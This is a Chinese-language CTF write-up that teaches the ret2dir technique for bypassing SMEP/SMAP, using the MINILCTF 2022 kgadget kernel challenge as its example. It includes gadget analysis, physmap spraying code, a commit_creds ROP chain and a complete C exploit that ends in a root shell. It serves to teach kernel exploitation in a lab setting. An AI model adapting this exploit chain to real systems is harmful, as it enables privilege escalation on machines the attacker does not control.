基本原理
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf
先来看看ret2usr的利用手法,即从内核空间返回到在用户空间构造好的提权代码上,如下
1 2 3 4 5 6
| ---------------------------------------------- | kernel space |>------------ ---------------------------------------------- | | user space | |ret | commit(prepare_kernel_cred(NULL)) |<------------| ----------------------------------------------
|
但是由于smep与smap保护的加入,在内核态对用户态数据的访问和执行被禁止,导致该攻击手法已不可用。而ret2dir可以说就是用来绕过这类使用户空间与内核空间隔离的保护的。
首先来看一下x86下linux内核空间的布局mm.rst - Documentation/x86/x86_64/mm.rst - Linux source code (v5.2) - Bootlin
其中有如下的一片区域,这片区域direct mapping area
被称为内核的线性映射区,它直接映射了物理内存
1
| ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
|
有关linux内核4级页表和5级页表的具体知识不在这里详述(因为我也不会。。。
我们都知道每个进程都有自己的虚拟内存空间,而它们一定对应着一片物理内存空间。那么现在就会出现内核空间和用户空间同时映射着同一片物理内存,那么我们就可以在内核态下通过访问direct mapping area
来间接访问用户空间的数据。
如果我们在用户空间布置shellcode,那么我们就可以在内核空间访问到,如下图所示:
但是目前内核空间的这片区域不具有执行权限,因此只能用于构造ROP链,如下图:
一般的利用ret2dir进行攻击的手法是:
- 利用 mmap 在用户空间大量喷射内存
- 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区
- 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存
此时我们就获得了一个可以在内核空间访问用户空间数据的能力,那么就绕过了内核空间与用户空间的隔离保护
需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray
MINILCTF 2022 - kgadget
a3👴在校赛出的一道题,很典型的用来入门ret2dir的题
题目分析
首先来看run.sh
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot
|
开启了kpti smep smap
,但是nokaslr
程序没有直接给vmlinux
,那么我们可以使用extract-vmlinux
来提取出它,使用方式extract-vmlinux ./bzImage
。关于extract-vmlinux
的下载自行搜索即可。
然后来看漏洞模块kgadget.ko
,程序只有一个函数有用,即kgadget_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param) { void (__fastcall **v3)(void *, _QWORD); void (__fastcall *v4)(void *, _QWORD); void (__fastcall *v5)(void *, _QWORD);
_fentry__(__file, *(_QWORD *)&cmd); if ( cmd == 114514 ) { v4 = *v3; v5 = *v3; printk(&unk_370); printk(&unk_3A0); qmemcpy( (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168), "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3", 48); *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL; printk(&unk_3F8); v4(&unk_3F8, v5); return 0LL; } else { printk(&unk_420); return -1LL; } }
|
当传入的cmd参数为114514时,程序会调用call [param]
,这个函数中的qmemcpy
是被优化后的操作,实际汇编为
1 2 3 4 5 6 7 8 9
| .text.unlikely:0000000000000160 regs = rdx ; pt_regs * .text.unlikely:0000000000000160 48 BA 61 72 74 74 6E 62 61 33 mov regs, '3abnttra' .text.unlikely:000000000000016A 48 89 90 58 FF FF FF mov [rax-0A8h], rdx .text.unlikely:0000000000000171 48 89 90 60 FF FF FF mov [rax-0A0h], rdx .text.unlikely:0000000000000178 48 89 90 68 FF FF FF mov [rax-98h], rdx .text.unlikely:000000000000017F 48 89 90 70 FF FF FF mov [rax-90h], rdx .text.unlikely:0000000000000186 48 89 90 78 FF FF FF mov [rax-88h], rdx .text.unlikely:000000000000018D 48 89 50 80 mov [rax-80h], rdx .text.unlikely:0000000000000191 48 89 50 90 mov [rax-70h], rdx
|
我们在调试之后可以发现这些操作实际上是将保存在内核栈里面的寄存器损坏了,但还保留了两个,即r9 r8
的值,那它们有什么用呢,继续分析
因为是call [param]
,因此我们可以直接设置param
为direct mapping area
中的一个位置,但前提是我们要喷射很多内存,并在这些内存中填充上有用的gadget。在执行完一个gadget之后,必然会继续ret,这时我们就需要控制栈到dir位置了,r8 r9
中未损坏的值就可以用来进行栈迁移。例如在call [param]
后到param位置时栈的状态如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 00:0000│ rsp 0xffffc90000257ed8 —▸ 0xffffffffc000219f ◂— xor eax, eax 01:0008│ 0xffffc90000257ee0 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3') 02:0010│ 0xffffc90000257ee8 ◂— 0xf2debfc5f34a5a00 03:0018│ 0xffffc90000257ef0 —▸ 0xffff888004226600 ◂— 0x0 04:0020│ rbp 0xffffc90000257ef8 —▸ 0xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0 05:0028│ 0xffffc90000257f00 —▸ 0xffffffff81319232 ◂— cmp eax, 0xfffffdfd 06:0030│ 0xffffc90000257f08 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3') 07:0038│ 0xffffc90000257f10 ◂— 0x0 ... ↓ 3 skipped 0b:0058│ 0xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0 0c:0060│ 0xffffc90000257f38 —▸ 0xffffffff81bb9607 ◂— mov qword ptr [rbx + 0x50], rax 0d:0068│ 0xffffc90000257f40 ◂— 0x0 0e:0070│ 0xffffc90000257f48 ◂— 0x0 0f:0078│ 0xffffc90000257f50 —▸ 0xffffffff81c0008c ◂— mov rcx, qword ptr [rsp + 0x58] 10:0080│ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3') ... ↓ 5 skipped 16:00b0│ 0xffffc90000257f88 ◂— 0x202 17:00b8│ 0xffffc90000257f90 ◂— 0x3361626e74747261 ('arttnba3') 18:00c0│ 0xffffc90000257f98 ◂— 0x99999999 ******r9****** 19:00c8│ 0xffffc90000257fa0 ◂— 0x88888888 ******r8****** 1a:00d0│ 0xffffc90000257fa8 ◂— 0xffffffffffffffda 1b:00d8│ 0xffffc90000257fb0 —▸ 0x402c0a ◂— mov eax, 0 1c:00e0│ 0xffffc90000257fb8 —▸ 0xffff888007000000 ◂— 0x0 1d:00e8│ 0xffffc90000257fc0 ◂— 0x1bf52
|
我们可以找到如下gadget,称此gadget为ADD_RSP_0xa0_POP_FOUR_REG_RET
1 2 3 4 5 6
| ffffffff816fca4a: 48 81 c4 a0 00 00 00 add $0xa0,%rsp ffffffff816fca51: 5b pop %rbx ffffffff816fca52: 41 5c pop %r12 ffffffff816fca54: 41 5d pop %r13 ffffffff816fca56: 5d pop %rbp ffffffff816fca57: c3 ret
|
那么我们只需要设置r8=param r9=pop_rsp
,(pop_rsp为0xffffffff811483d0 : pop rsp ; ret
),这样就可以把栈迁移到direct mapping area
来进行ROP了
ROP链构造
我们应该让落在ADD_RSP_0xa0_POP_FOUR_REG_RET
的概率尽可能大一点,因此我们可以尽可能多的写入ADD_RSP_0xa0_POP_FOUR_REG_RET
的地址,同时能使其滑入提权的payload,例如这是一片页内存,按如下方式布置
1 2 3 4 5 6 7
| 0 ----------------------------------------------------------------- | ADD_RSP_0xa0_POP_FOUR_REG_RET | 0xe00 ----------------------------------------------------------------- | RET | 0xfa0 ----------------------------------------------------------------- | get_root_payload | 0x1000 -----------------------------------------------------------------
|
这样当栈被迁移到ADD_RSP_0xa0_POP_FOUR_REG_RET
时,就必定可以滑入RET
,从而到达get_root_payload
构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void construct_chain() { int i = 0; for(; i < (page_size-0x200)/8; i++) chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET; for(; i < (page_size-0x60)/8; i++) chain[i] = RET; chain[i++] = POP_RDI_RET; chain[i++] = init_cred; chain[i++] = commit_creds; chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27; chain[i++] = 0; chain[i++] = 0; chain[i++] = (size_t)get_root_shell; chain[i++] = user_cs; chain[i++] = user_rflags; chain[i++] = user_sp; chain[i++] = user_ss; }
|
mmap喷射内存
喷射内存就是尽可能多的消耗内存空间,从而增大成功概率
1 2 3 4 5 6 7 8 9 10 11
| void spray_physmap() { size_t map[15000]; printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n"); for(int i = 0; i < 15000; i++) { map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy((void*)map[i], chain, page_size); } printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n"); }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| #include<kernel_pwn.h> #include<stdio.h> #include<unistd.h> #include<fcntl.h> #include<sys/mman.h> #include<string.h>
#define POP_RDI_RET 0xffffffff8108c6f0 #define init_cred 0xffffffff82a6b700 #define ADD_RSP_0x90_POP_FIVE_REG_RET 0xffffffff81004049 #define RET 0xffffffff8100405a #define POP_RSP_RET 0xffffffff811483d0 #define ADD_RSP_0xa0_POP_FOUR_REG_RET 0xffffffff816fca4a
int dev_fd; size_t commit_creds = 0xffffffff810c92e0, swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0; size_t chain[16000]; size_t target, pop_rsp=POP_RSP_RET; size_t page_size; size_t *physmap_spray_arr[16000];
void construct_chain() { int i = 0; for(; i < (page_size-0x200)/8; i++) chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET; for(; i < (page_size-0x60)/8; i++) chain[i] = RET; chain[i++] = POP_RDI_RET; chain[i++] = init_cred; chain[i++] = commit_creds; chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27; chain[i++] = 0; chain[i++] = 0; chain[i++] = (size_t)get_root_shell; chain[i++] = user_cs; chain[i++] = user_rflags; chain[i++] = user_sp; chain[i++] = user_ss; }
void spray_physmap() { size_t map[15000]; printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n"); for(int i = 0; i < 15000; i++) { map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy((void*)map[i], chain, page_size); } printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n"); }
int main() { save_status(); dev_fd = open("/dev/kgadget", O_RDWR); if(dev_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the /dev/kgadget file!\033[0m\n"); exit(-1); } page_size = sysconf(_SC_PAGESIZE); construct_chain(); printf("\033[32m\033[1m[+] Construct rop chain success!\033[0m\n"); spray_physmap(); target = 0xffff888000000000 + 0x7000000; __asm__( "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, 0x13131313;" "mov r12, 0x12121212;" "mov rbp, 0xbcbcbcbc;" "mov rbx, 0xbdbdbdbd;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov r9, pop_rsp;" "mov r8, target;" "mov rax, 0x10;" "mov rcx, 0xcccccccc;" "mov rdx, target;" "mov rsi, 0x1bf52;" "mov rdi, dev_fd;" "syscall" );
return 0; }
|